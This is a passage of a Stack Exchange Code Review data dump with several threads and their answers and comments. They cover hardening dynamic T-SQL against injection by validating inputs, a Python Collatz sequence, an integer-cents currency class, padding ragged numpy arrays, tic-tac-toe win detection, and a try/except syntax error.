"body": "For which version(s) of sql-server do you want to support this procedure?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-30T17:07:28.277",
"Id": "432539",
"Score": "0",
"body": "Good question - I think we can just assume we'll need it to work on 2008 and later as IIRC, since the content provided above should work on 2008. If there's a more secure method that's available on a later version, that is also fine, as long it's clearly marked in the answer."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-30T17:10:44.757",
"Id": "432541",
"Score": "0",
"body": "It has an impact on the max size of a string used as argument when calling `sys.sp_executesql`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-30T17:15:54.637",
"Id": "432544",
"Score": "1",
"body": "Hmm. The [documentation on the `sys.sp_executesql`](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-executesql-transact-sql?view=sql-server-2017) seems to say that at least since 2008, it can be up to 2 GB big. Perhaps in earlier versions, it was limited to nvarchar(8000) but since we set the minimum at 2008, that should be moot?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-30T17:18:25.033",
"Id": "432547",
"Score": "1",
"body": "I guess it should not be a problem. But I would edit the question and add a constraint on minimum required version of sql server :)"
}
] | [
{
"body": "<h2>Comments on your approach</h2>\n\n<p>The most obvious thing to me is that you're already inserting all of your data into the temp table; why not just join to it? You can dynamically pivot into a better, strongly-typed table instead (<a href=\"https://stackoverflow.com/a/159803/3076272\">see this post</a>), and then you don't need to muck around with the parameter stuff.</p>\n\n<p>I also think I think you're overcomplicating this by a lot. Ultimately, the best way to write dynamic SQL is to:</p>\n\n<ol>\n<li>Trust no user inputs</li>\n<li>Validate all user inputs </li>\n<li>Validate all inputs, even if they come out of a table/procedure you control. You never know how a different attack vector could affect you indirectly.</li>\n<li>Limit the scope of what a user can input</li>\n</ol>\n\n<p>Do you actually <em>really</em> need to let anyone run any filter on any column on any table? I suspect that you don't actually need that much freedom.</p>\n\n<p>If I'm correct, then you can likely make this much safer by maintaining a list of valid table/column combinations that can be filtered (still verify per #3 above), and immediately throw out junk and identify someone trying to do something that isn't kosher. You could even create a stored procedure per-table that has strongly typed input variables, and then you have parameterized SQL all the way down with almost no dynamic SQL required.</p>\n\n<hr>\n\n<h2>Coding style</h2>\n\n<p>Here are just a few things I think could be handled with better style:</p>\n\n<pre><code>SELECT @stableName = o.name,\n @stableId = o.object_id\n FROM sys.objects o\n WHERE o.name = @TableName\n AND OBJECT_SCHEMA_NAME( o.object_id ) = @SchemaName;\n</code></pre>\n\n<p>This is cleaner with <code>sys.tables</code> and <code>SCHEMA_ID</code></p>\n\n<pre><code>SELECT @sTableName = tables.name,\n @sTableId = tables.object_id\n FROM sys.tables \n WHERE tables.name = @TableName\n AND tables.schema_id = SCHEMA_ID( @SchemaName ); \n</code></pre>\n\n<p>Exists checks can often be replaced with joins, which are easier to read</p>\n\n<pre><code>IF EXISTS ( SELECT NULL\n FROM #RawData d\n WHERE NOT EXISTS ( SELECT NULL\n FROM sys.columns c\n WHERE c.object_id = @stableId\n AND c.name = d.ParameterName ))\n\n\nIF EXISTS( SELECT 1\n FROM #RawData RD\n LEFT OUTER JOIN sys.columns columns\n ON columns.object_id = @sTableId\n AND columns.name = RD.ParameterName \n WHERE columns.object_id IS NULL )\n</code></pre>\n\n<p>I also think you would benefit from breaking this up more; for example, you could make this into a table valued function. Also, since you're using <code>SELECT INTO</code> you can use the <a href=\"https://docs.microsoft.com/en-us/sql/t-sql/functions/identity-function-transact-sql?view=sql-server-2017\" rel=\"nofollow noreferrer\"><code>IDENTITY</code></a> function instead of <code>ROW_NUMBER</code></p>\n\n<pre><code>SELECT ROW_NUMBER() OVER ( ORDER BY ( SELECT NULL )) Id,\n c.name ColumnName,\n d.ParameterValue ParameterValue,\n c.user_type_id DataTypeId,\n t.name DataTypeName,\n c.max_length MaxLength,\n c.precision Precision,\n c.scale Scale,\n dbo.ufnGetFormattedDataType( t.name, c.precision, c.scale, c.max_length ) ParameterDataType\n INTO #ParameterData\n FROM #RawData d\n INNER JOIN sys.columns c\n ON d.ParameterName = c.name\n INNER JOIN sys.types t\n ON c.user_type_id = t.user_type_id\n WHERE c.object_id = @stableId;\n</code></pre>\n\n<p>I don't really like the syntax of</p>\n\n<pre><code>SET @variable = ( SELECT <<whatever>> )\n</code></pre>\n\n<p>Instead I prefer</p>\n\n<pre><code>SELECT TOP( 1 )\n @variable = <<whatever>>\n ...\n ORDER BY ( SELECT NULL );\n</code></pre>\n\n<p>If you <code>PIVOT</code> here you can even do it all in one table access.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-08-22T19:39:26.473",
"Id": "440551",
"Score": "0",
"body": "\"Do you actually really need to let anyone run any filter on any column on any table?\" In most cases, no, but the point of the CR is to assess whether it is possible to do this in a safe manner. I'm more interested in knowing if there is still an attack vector (esp. using XML) that might break the apparent security of the approach. In more typical scenarios, I have used the list idea to restrict the set of tables/columns and to be honest, I'd rather write different stored procedures for different tables for the reasons you mention but that's not the goal in the CR. Thanks for your comments!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-08-22T20:28:42.033",
"Id": "440554",
"Score": "0",
"body": "Regarding the `SET @variable = (SELECT ...)` vs. `SELECT @variable = ...` - there is a subtle difference when it comes to empty sets. If you use the latter, and the result is an empty set, the `@variable` retains its old value whereas the `SET` causes it to become `NULL`. IMO, the `SET` is more predictable and less likely to cause confusing behavior because of that."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-08-22T17:24:59.940",
"Id": "226639",
"ParentId": "222614",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T01:23:19.133",
"Id": "222614",
"Score": "11",
"Tags": [
"sql",
"security",
"sql-server",
"t-sql",
"sql-injection"
],
"Title": "Safe dynamic SQL for generic search"
} | 222614 |
<p>I am a beginner in python. I found this problem in the book <strong>Automate the Boring Stuff with Python</strong>. How can I improve this program using latest version of python.</p>
<pre><code>def generateCollatzSequence(number):
print(str(number) + " ")
while number != 1:
if number % 2 == 0:
number = number / 2
print(str(number) + " ")
elif number % 2 == 1:
number = (3 * number) + 1
print(str(number) + " ")
#print("Enter number: ")
inputNumber = int(input("Enter number: "))
generateCollatzSequence(inputNumber)
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T07:59:17.627",
"Id": "431007",
"Score": "2",
"body": "Have a look at https://codereview.stackexchange.com/q/205785/35991, https://codereview.stackexchange.com/q/194837/35991, and https://codereview.stackexchange.com/q/221741/35991 for quite similar questions."
}
] | [
{
"body": "<ul>\n<li>Your function is called <code>generate</code> but it doesn't return anything. Instead <code>display</code> would be a better name.</li>\n<li>It would be better if you had two functions one to generate the values, one to display them.</li>\n<li>Function names should be <code>lower_snake_case</code> to be idiomatic.</li>\n<li><code>+ \" \"</code> is not needed, as print makes the value go to the next line anyway.</li>\n<li><code>str(number)</code> also isn't needed as <code>print</code> will do this automatically for you.</li>\n</ul>\n\n<p>Thanks @<a href=\"https://codereview.stackexchange.com/users/75307/toby-speight\">Toby Speight</a>:</p>\n\n<ul>\n<li>You can move the <code>print</code> to be after both the <code>if</code> and the <code>else</code>.</li>\n</ul>\n\n<pre><code>def generate_collatz_sequence(number):\n output = [number]\n while number != 1:\n if number % 2 == 0:\n number = number / 2\n elif number % 2 == 1:\n number = (3 * number) + 1\n output.append(number)\n\ndef display_collatz_sequence(values):\n for number in values:\n print(number)\n</code></pre>\n\n<p>If you want this to still display values in real time, then you can make <code>generate_collatz_sequence</code> a generator function.</p>\n\n<pre><code>def generate_collatz_sequence(number):\n yield number\n while number != 1:\n if number % 2 == 0:\n number = number / 2\n elif number % 2 == 1:\n number = (3 * number) + 1\n yield number\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T14:54:58.187",
"Id": "222645",
"ParentId": "222617",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "222645",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T07:12:22.343",
"Id": "222617",
"Score": "1",
"Tags": [
"python",
"beginner",
"collatz-sequence"
],
"Title": "python : Collatz Sequence"
} | 222617 |
<p>Working with currencies I am aware it is not good to work with floating point values due to rounding and maintaining precision. Better is to work with integers. Would the following Currency class make sense, where an amount is defined as an instance of Currency and converted to cents.</p>
<pre><code>class Currency():
def __init__(self, value):
self._cents = int(round(value*100,0))
def __add__(self, other):
return self.__class__((self._cents + other._cents)/100)
def __sub__(self, other):
return self.__class__((self._cents - other._cents)/100)
def __mul__(self, factor):
if type(factor) not in [int, float]:
raise ValueError('factor must be a scalar')
return self.__class__(factor * self._cents / 100)
def __rmul__(self, factor):
if type(factor) not in [int, float]:
raise ValueError('factor must be a scalar')
return self.__class__(factor * self._cents / 100)
def __truediv__(self, divisor):
if type(divisor) not in [int, float]:
raise ValueError('divisor must be a scalar')
if divisor != 0:
return self.__class__(self._cents / divisor / 100)
else:
raise ValueError('Cannot divide by zero')
def __repr__(self):
return str(f'{self._cents/100:,.2f}')
def __str__(self):
return str(f'{self._cents/100:,.2f}')
@property
def dollars(self):
return self._cents / 100
@property
def cents(self):
return self._cents
</code></pre>
<p>Some results</p>
<pre><code>>>> from money import Currency
>>> a = Currency(100)
>>> b = Currency(0.01)
>>> a+b
100.01
>>> a*2
200.00
>>> a/2
50.00
>>> 2*a
200.00
>>> total = Currency(0)
>>> for i in range(10_000_000):
... total += b
...
>>> total
100,000.00
>>> a.dollars
100.0
>>> b.cents
1
>>>
<span class="math-container">```</span>
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T08:23:04.207",
"Id": "431013",
"Score": "1",
"body": "did you check [`decimal`](https://docs.python.org/3/library/decimal.html)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T08:27:52.680",
"Id": "431015",
"Score": "0",
"body": "I'm surprised you're using full division `/` rather than integer division `//` - are you by any chance writing this for Python 2?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T08:39:26.507",
"Id": "431016",
"Score": "0",
"body": "Yes decimal works to maintain precision for a defined number of digits (the default is I think 28 digits), but I would like to know for the specific case where there are 2 decimals, so to get an integer by multiplying with 100."
}
] | [
{
"body": "<p>Since you are using f strings I will presume you are using python 3.6 or later.</p>\n\n<pre><code>def __init__(self, value):\n self._cents = int(round(value * 100, 0))\n</code></pre>\n\n<p>Good job prefixing cents with an underscore. I think it is a good choice to make the variable \"private\".</p>\n\n<p>By leaving out the second parameter from round, or by passing None, the returned value will be rounded to an integer. You could instead write</p>\n\n<pre><code>def __init__(self, value):\n self._cents = round(value * 100)\n</code></pre>\n\n<p>Note that round may not behave <a href=\"https://docs.python.org/3/library/functions.html#round\" rel=\"nofollow noreferrer\">as you expect</a>. Depending on the value given it may round the opposite way to what you'd expect.</p>\n\n<hr>\n\n<pre><code>def __add__(self, other):\n return self.__class__((self._cents + other._cents) / 100)\n</code></pre>\n\n<p>It is good that you've accounted for subclassing. Since you've had to do some work to make a new class to return, maybe that indicates you could use an alternative constructor that takes cents directly?</p>\n\n<p>Unfortunately you don't do any type checking here, so the error message a user receives is not very helpful.</p>\n\n<pre><code>a = Currency(2.345)\nprint(a) # 2.35\na + 2.03 # AttributeError: 'float' object has no attribute '_cents'\n</code></pre>\n\n<p>I would suggest type checking as you've done in mul, making sure only currency can be added to currency</p>\n\n<pre><code>def __add__(self, other):\n if not isinstance(other, Currency):\n raise TypeError(f\"Unsupported type, cannot add {self.__class__} and {other.__class__}\")\n ...\n</code></pre>\n\n<hr>\n\n<pre><code>def __mul__(self, factor):\n if type(factor) not in [int, float]:\n raise ValueError('factor must be a scalar')\n</code></pre>\n\n<p>From <a href=\"https://stackoverflow.com/questions/1549801/what-are-the-differences-between-type-and-isinstance\">this stackoverflow answer</a>, isinstance is preferred over type. Also from the same answer, duck typing is preferred over isinstance. Since we don't want to have to update this list every time we find a new type that is acceptable to multiply by, lets just try it and see if it works. Multiplying a currency will then just work unless there is a reason it shouldn't. One exception might be multiplying currency by currency. Should that be allowed?</p>\n\n<pre><code>def __mul__(self, factor):\n try:\n return self.__class__(factor * self._cents / 100)\n except TypeError:\n raise TypeError(f\"...\")\n</code></pre>\n\n<p>This isn't perfect, as we may lose useful information about what doesn't work (Did the constructor fail? Did the multiplication fail? etc) but it is good enough.</p>\n\n<pre><code># Example of currency just working with fractions\na = Currency(8.08)\na * fraction.Fraction(1, 4) # 2.02\n</code></pre>\n\n<hr>\n\n<pre><code>def __truediv__(self, divisor):\n if type(divisor) not in [int, float]:\n raise ValueError('divisor must be a scalar')\n\n if divisor != 0:\n return self.__class__(self._cents / divisor / 100)\n else:\n raise ValueError('Cannot divide by zero')\n</code></pre>\n\n<p>Since an exception is raised if you try to divide a currency by 0, I don't see an advantage of making it a ValueError over a ZeroDivisionError. It wold actually remove the error handling since it doesn't add much, and let the user catch it if they want to.</p>\n\n<p>If there is a usecase for it, it may be worth defining <strong>div</strong> too. It could be as simple as</p>\n\n<pre><code>__div__ = __truediv__\n</code></pre>\n\n<hr>\n\n<pre><code>def __repr__(self):\n return str(f'{self._cents/100:,.2f}')\n\ndef __str__(self):\n return str(f'{self._cents/100:,.2f}')\n</code></pre>\n\n<p>This is repeated code. You can deduplicate with either</p>\n\n<pre><code>def __repr__(self):\n return str(self)\n</code></pre>\n\n<p>or</p>\n\n<pre><code>__repr__ = __str__\n</code></pre>\n\n<hr>\n\n<pre><code>@property\ndef dollars(self):\n return self._cents / 100\n\n@property\ndef cents(self):\n return self._cents\n</code></pre>\n\n<p>These do not make sense to me. I would expect dollars to return the number of dollars present, and cents to just return the number of cents</p>\n\n<pre><code>c = Currency(7.89)\nc.dollars # 7.89, I expected 7\nc.cents # 789, I expected 89\n</code></pre>\n\n<p>You also could implement <a href=\"https://stackoverflow.com/questions/1684828/how-to-set-attributes-using-property-decorators\">dollars.setter</a> and cents.setter so you can change just one of them.</p>\n\n<hr>\n\n<p>Here I will list things I would do differently. That doesn't mean I'm right and you are wrong, it means food for thought, but reject ideas away if they don't suit.</p>\n\n<ol>\n<li>Use <a href=\"https://docs.python.org/3.7/library/decimal.html\" rel=\"nofollow noreferrer\">decimal</a>. It was made for arithmetic on numbers where precision matters. It also has the work on dealing with other python numbers pretty much done for you. It also lets you choose how to round which may be important if you need <a href=\"https://en.wikipedia.org/wiki/Rounding#Round_half_to_even\" rel=\"nofollow noreferrer\">banker's rounding</a>.</li>\n<li>Add a constructor for making an amount from dollars and cents. Something like <code>Currency(dollars=7, cents=89)</code> would be nice to use. The implementation is a little trickier (what if cents >= 100, what if dollars is negative).</li>\n<li>Due to the rounding, working with this class may look unfair to whoever owns the money. <code>Currency(5.05) / 2 * 2 == Currency(5.04) != Currency(5.05)</code>. By doing what should be nothing, they've lost a cent! To exaggerate the problem, lets say you have <code>Currency(74.49)</code> to divide amongst 12 people. <code>Currency(74.49) / 12</code> outputs <code>Currency(6.21)</code>. You give each person that amount <code>Currency(6.21) * 12 == Currency(74.52)</code>, and you find you are 3 cent out of pocket. This is when auditors come in and start asking questions.</li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T11:54:58.300",
"Id": "431023",
"Score": "0",
"body": "thank you very much for the review. This has given me quite some insights. Let me work to implement your suggestions."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T12:28:13.333",
"Id": "431030",
"Score": "0",
"body": "Try to avoid using `type(...) not in [type1, type2]`, instead use `isinstance(..., (type1, type2))`. See also the [documentation of `isinstance`](https://docs.python.org/3/library/functions.html#isinstance) on that behalf."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T13:34:11.280",
"Id": "431041",
"Score": "0",
"body": "@AlexV yes, I included that point in the answer"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T14:18:35.390",
"Id": "431049",
"Score": "0",
"body": "3. Yeah, `Decimal` also suffers from that... `getcontext().prec = 3`, `Decimal('5.05') / 2 * 2 == Decimal('5.04')`."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T14:24:15.920",
"Id": "431051",
"Score": "0",
"body": "@Peilonrayz Good point. However, decimal allows you to specify how rounding is done, so the problem can be partially alleviated."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T14:32:59.760",
"Id": "431052",
"Score": "0",
"body": "@spyr03 Yeah I'm not following the 'partially alleviated' cause it's done nothing to solve the problem."
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T11:29:50.013",
"Id": "222632",
"ParentId": "222619",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T07:34:59.507",
"Id": "222619",
"Score": "3",
"Tags": [
"python",
"integer",
"finance",
"floating-point"
],
"Title": "Python maintain precision for currency"
} | 222619 |
<p>For some machine learning purpose, I need to work with sequences with different lengths. To be able to process efficiently those sequences, I need to process them in batches of size <code>size_batch</code>. A batch typically has 4 dimensions and I want to convert it to a numpy's <code>ndarray</code> with 4 dimensions. For each sequence, I need to pad with some defined <code>pad_value</code> such that each element has the same size: the maximal size.</p>
<p>For example, with 3 dimensional input:</p>
<pre><code>[[[0, 1, 2],
[3],
[4, 5]],
[[6]],
[[7, 8],
[9]]]
</code></pre>
<p>desired output for <code>pad_value</code> -1 is:</p>
<pre><code>[[[0, 1, 2],
[3, -1, -1],
[4, 5, -1]],
[[6, -1, -1],
[-1, -1, -1],
[-1, -1, -1]]
[[7, 8, -1],
[9, -1, -1],
[-1, -1, -1]]]
</code></pre>
<p>which has shape (3, 3, 3).
For this problem, one can assume that there are no empty lists in the input.
Here is the solution I came up with:</p>
<pre class="lang-py prettyprint-override"><code>import numpy as np
import itertools as it
from typing import List
def pad(array: List, pad_value: np.int32, dtype: type = np.int32) -> np.ndarray:
""" Pads a nested list to the max shape and fill empty values with pad_value
:param array: high dimensional list to be padded
:param pad_value: value appended to
:param dtype: type of the output
:return: padded copy of param array
"""
# Get max shape
def get_max_shape(arr, ax=0, dims=[]):
try:
if ax >= len(dims):
dims.append(len(arr))
else:
dims[ax] = max(dims[ax], len(arr))
for i in arr:
get_max_shape(i, ax+1, dims)
except TypeError: # On non iterable / lengthless objects (leaves)
pass
return dims
dims = get_max_shape(array)
# Pad values
def get_item(arr, idx):
while True:
i, *idx = idx
arr = arr[i]
if not idx:
break
return arr
r = np.zeros(dims, dtype=dtype) + pad_value
for idx in it.product(*map(range, dims)):
# idx run though all possible tuple of indices that might
# contain a value in array
try:
r[idx] = get_item(array, idx)
except IndexError:
continue
return r
</code></pre>
<p>It does not feel really pythonic but does the job. Is there any better way to do it I should know ? I think I might be able to improve its speed by doing smart breaks in the last loop but I haven't dug much yet.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T15:09:49.650",
"Id": "431056",
"Score": "0",
"body": "Maybe you should have more descriptive variable names..."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T18:07:47.680",
"Id": "431079",
"Score": "0",
"body": "Stackoverflow has lots of array pad questions, and clever answers. Most common case is padding 1d lists to form a 2d array. `itertools.zip_longest` is a handy tool for that, though not the fastest."
}
] | [
{
"body": "<h1>nested methods</h1>\n\n<p>Why do you nest the <code>get_max_shape</code> etcetera in the <code>pad</code>? There is no need to do this.</p>\n\n<h1>get_max_shape</h1>\n\n<p>Here you use recursion and a global variable. A simpler way would be to have a generator that recursively runs through the array, and yields the level and length of that part, and then another function to aggregate this results. That way you can avoid passing </p>\n\n<pre><code>def get_dimensions(array, level=0):\n yield level, len(array)\n try:\n for row in array:\n yield from get_dimensions(row, level + 1)\n except TypeError: #not an iterable\n pass\n</code></pre>\n\n<blockquote>\n<pre><code>[(0, 3), (1, 3), (2, 3), (2, 1), (2, 2), (1, 1), (2, 1), (1, 2), (2, 2), (2, 1)]\n</code></pre>\n</blockquote>\n\n<p>The aggregation can be very simple using <code>collections.defaultdict</code>:</p>\n\n<pre><code>def get_max_shape(array):\n dimensions = defaultdict(int)\n for level, length in get_dimensions(array):\n dimensions[level] = max(dimensions[level], length)\n return [value for _, value in sorted(dimensions.items())]\n</code></pre>\n\n<blockquote>\n<pre><code>[3, 3, 3]\n</code></pre>\n</blockquote>\n\n<h1>creating the result</h1>\n\n<p>Instead of <code>r = np.zeros(dims, dtype=dtype) + pad_value</code> you can use <a href=\"https://docs.scipy.org/doc/numpy/reference/generated/numpy.full.html#numpy.full\" rel=\"nofollow noreferrer\"><code>np.full</code></a></p>\n\n<p>You iterate over all possible indices, and check whether it is present in the original array. Depening on how \"full\" the original array is, this can save some time. It also allows you to do this without your custom <code>get_item</code> method to get the element at the nested index</p>\n\n<pre><code>def iterate_nested_array(array, index=()):\n try:\n for idx, row in enumerate(array):\n yield from iterate_nested_array(row, (*index, idx))\n except TypeError: # final level\n for idx, item in enumerate(array):\n yield (*index, idx), item\n</code></pre>\n\n<blockquote>\n<pre><code>[((0, 0, 0), 0),\n ((0, 0, 1), 1),\n ((0, 0, 2), 2),\n ((0, 1, 0), 3),\n ((0, 2, 0), 4),\n ((0, 2, 1), 5),\n ((1, 0, 0), 6),\n ((2, 0, 0), 7),\n ((2, 0, 1), 8),\n ((2, 1, 0), 9)]\n</code></pre>\n</blockquote>\n\n<h2>slice</h2>\n\n<p>an even better way, as suggested by@hpaulj uses slices:</p>\n\n<pre><code>def iterate_nested_array(array, index=()):\n try:\n for idx, row in enumerate(array):\n yield from iterate_nested_array(row, (*index, idx))\n except TypeError: # final level \n yield (*index, slice(len(array))), array\n</code></pre>\n\n<blockquote>\n<pre><code>[((0, 0, slice(None, 3, None)), [0, 1, 2]),\n ((0, 1, slice(None, 1, None)), [3]),\n ((0, 2, slice(None, 2, None)), [4, 5]),\n ((1, 0, slice(None, 1, None)), [6]),\n ((2, 0, slice(None, 2, None)), [7, 8]),\n ((2, 1, slice(None, 1, None)), [9])]\n</code></pre>\n</blockquote>\n\n<h1>padding</h1>\n\n<pre><code>def pad(array, fill_value):\n dimensions = get_max_shape(array)\n result = np.full(dimensions, fill_value)\n for index, value in iterate_nested_array(array):\n result[index] = value\n return result\n</code></pre>\n\n<blockquote>\n<pre><code>array([[[ 0, 1, 2],\n [ 3, -1, -1],\n [ 4, 5, -1]],\n\n [[ 6, -1, -1],\n [-1, -1, -1],\n [-1, -1, -1]],\n\n [[ 7, 8, -1],\n [ 9, -1, -1],\n [-1, -1, -1]]])\n</code></pre>\n</blockquote>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T15:10:14.950",
"Id": "431057",
"Score": "0",
"body": "I really should use `yield` more often ! it's a nice trick to save memory and enhance efficiency."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T03:38:11.867",
"Id": "431489",
"Score": "1",
"body": "You could save some time by assigning a whole slice on the last dimension: `result[i,j,:len(row)] = row`, but that requires 2 hard coded levels of looping, rather than your flexible recursive iteration."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-24T06:33:04.617",
"Id": "431507",
"Score": "0",
"body": "brilliant suggestion. You don't need a second for-loop for that, just a small adjustment to `iterate_nested_array`. Dynamic typing can lead to such simple code"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T14:01:55.810",
"Id": "222641",
"ParentId": "222623",
"Score": "6"
}
},
{
"body": "<p>If your input is 2-dimensional, you can get away with a much simpler solution (although you need to know the pad length).</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>import numpy as np\n\n# Test Case:\ndata = [\n [1],\n [1, 2],\n [1, 2, 3]\n]\nmax_len = 3\n\n# General Solution:\nrectangle = np.zeros((len(data), max_len), dtype=np.int)\nfor i in range(len(data)):\n rectangle[i:i + 1, 0:len(data[i])] = data[i]\n\nprint(rectangle)\n</code></pre>\n\n<p>This outputs:</p>\n\n<pre><code>[[1 0 0] \n [1 2 0] \n [1 2 3]]\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-02-06T08:49:43.243",
"Id": "236769",
"ParentId": "222623",
"Score": "0"
}
}
] | {
"AcceptedAnswerId": "222641",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T09:01:27.417",
"Id": "222623",
"Score": "7",
"Tags": [
"python",
"matrix",
"numpy"
],
"Title": "Pad a ragged multidimensional array to rectangular shape"
} | 222623 |
<p>Below a function which answers: is there a winner in tic-tac-toe game?</p>
<p>Also, there is a test suite I wrote for it.</p>
<pre><code>def is_win(field):
# check horizontal
N = len(field)
for i in range(N):
if field[i][0] != 0 and len(set(field[i])) == 1:
return True
vertical = [field[j][i] for j in range(N)]
if vertical[0] != 0 and len(set(vertical)) == 1:
return True
# check diagonal
diagonal = [field[i][i] for i in range(N)]
if diagonal[0] != 0 and len(set(diagonal)) == 1:
return True
o_diagonal = [field[N-i-1][i] for i in range(N)]
if o_diagonal[0] != 0 and len(set(o_diagonal)) == 1:
return True
return False
assert is_win(
[
[0, 0, 0],
[2, 2, 2],
[0, 0, 0],
]) == True
print(1)
assert is_win(
[
[0, 2, 0],
[0, 2, 0],
[0, 2, 0],
]) == True
print(2)
assert is_win(
[
[0, 0, 2],
[2, 2, 1],
[0, 0, 1],
]) == False
print(3)
assert is_win(
[
[2, 0, 0],
[0, 2, 0],
[0, 0, 2],
]) == True
print(4)
assert is_win(
[
[0, 0, 2],
[0, 2, 0],
[2, 0, 0],
]) == True
print(5)
<span class="math-container">```</span>
</code></pre>
| [] | [
{
"body": "<ul>\n<li><p>Your code is WET.</p>\n\n<blockquote>\n<pre><code>var[0] != 0 and len(set(var)) == 1\n</code></pre>\n</blockquote>\n\n<p>Is repeated four times.</p></li>\n<li><p><code>field[len(field)-i-1]</code> can be simplified to <code>field[~i]</code>.</p></li>\n<li>I'd personally just use a couple of <code>any</code> and a couple of <code>or</code>s.</li>\n</ul>\n\n<pre><code>def is_unique_player(values):\n return values[0] != 0 and len(set(values)) == 1\n\n\ndef is_win(field):\n N = len(field)\n return (\n any(is_unique_player(row) for row in field)\n or any(is_unique_player(column) for column in zip(*field))\n or is_unique_player([field[i][i] for i in range(N)])\n or is_unique_player([field[~i][i] for i in range(N)])\n )\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T12:37:31.567",
"Id": "222635",
"ParentId": "222627",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "222635",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T10:55:51.390",
"Id": "222627",
"Score": "2",
"Tags": [
"python",
"tic-tac-toe"
],
"Title": "Determine whether there is a winner in tic-tac-toe game"
} | 222627 |
<p>I am learning python and am working through some <code>try</code> and <code>except</code> codes. What is wrong here?</p>
<p>The code aims to convert the input in to an integer unless it is not numeric.</p>
<pre><code>try:
def get_integer(my_var):
try:
x = round(my_var, 0)
return x
except:
y = int(my_var)
return y
except:
pass
except:
print("Cannot convert!")
#Below are some lines of code that will test your function.
#You can change the value of the variable(s) to test your
#function with different inputs.
#
#If your function works correctly, this will originally
#print: 5, Cannot convert!, and 5.
print(get_integer("5"))
print(get_integer("Boggle."))
print(get_integer(5.1))
</code></pre>
<p>The error:</p>
<pre><code> File "GetInteger.py", line 19
^
SyntaxError: default 'except:' must be last
Command exited with non-zero status 1
</code></pre>
<p>But except is last. What am I missing?</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T12:50:52.467",
"Id": "431033",
"Score": "0",
"body": "This question should have been asked in StackOverflow forum and not here as this place is intended for posts about working code that could be improved or/and reviewed"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T13:03:35.353",
"Id": "431037",
"Score": "0",
"body": "Chill out. First post here and three downvotes."
}
] | [
{
"body": "<h1>TL; DR</h1>\n\n<p>Basically, all of your <code>except</code> blocks are \"defaults\", hence the error message. To have multiple <code>except</code> clauses, you must tell to all of them (except the last one) what they're supposed to catch (what used functions can - and will - raise)</p>\n\n<h1>What's happening ?</h1>\n\n<p>The reason is quite simple here. </p>\n\n<p><code>try..except</code> blocks can accept many <code>except</code> blocks in order to do things in case of different type of exceptions. By default (and I don't really recommend it, because you don't have a clear idea of what's going on) it's a block like this one:</p>\n\n<pre><code>try:\n i_will_raise_some_exception()\nexcept:\n # fix me up before you go!\n</code></pre>\n\n<p>This will catch every exception raised because we didn't tell the except block what to catch. You might already understand your problem here. Here's a second example:</p>\n\n<pre><code>try:\n # I used this condition to have a somewhat believable (yet dumb) way to say\n # I can send multiple exceptions within the same try block\n if (some_weird_condition):\n print(1/0)\n i_will_raise_some_exception()\n\nexcept DivisionError:\n # woops!\n\n# Exception is optional here, as it catches everything\nexcept Exception:\n # catch any other exceptions and fix me up before you go!\n</code></pre>\n\n<p>You can find more information <a href=\"https://docs.python.org/3.7/tutorial/errors.html#handling-exceptions\" rel=\"nofollow noreferrer\">here</a>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
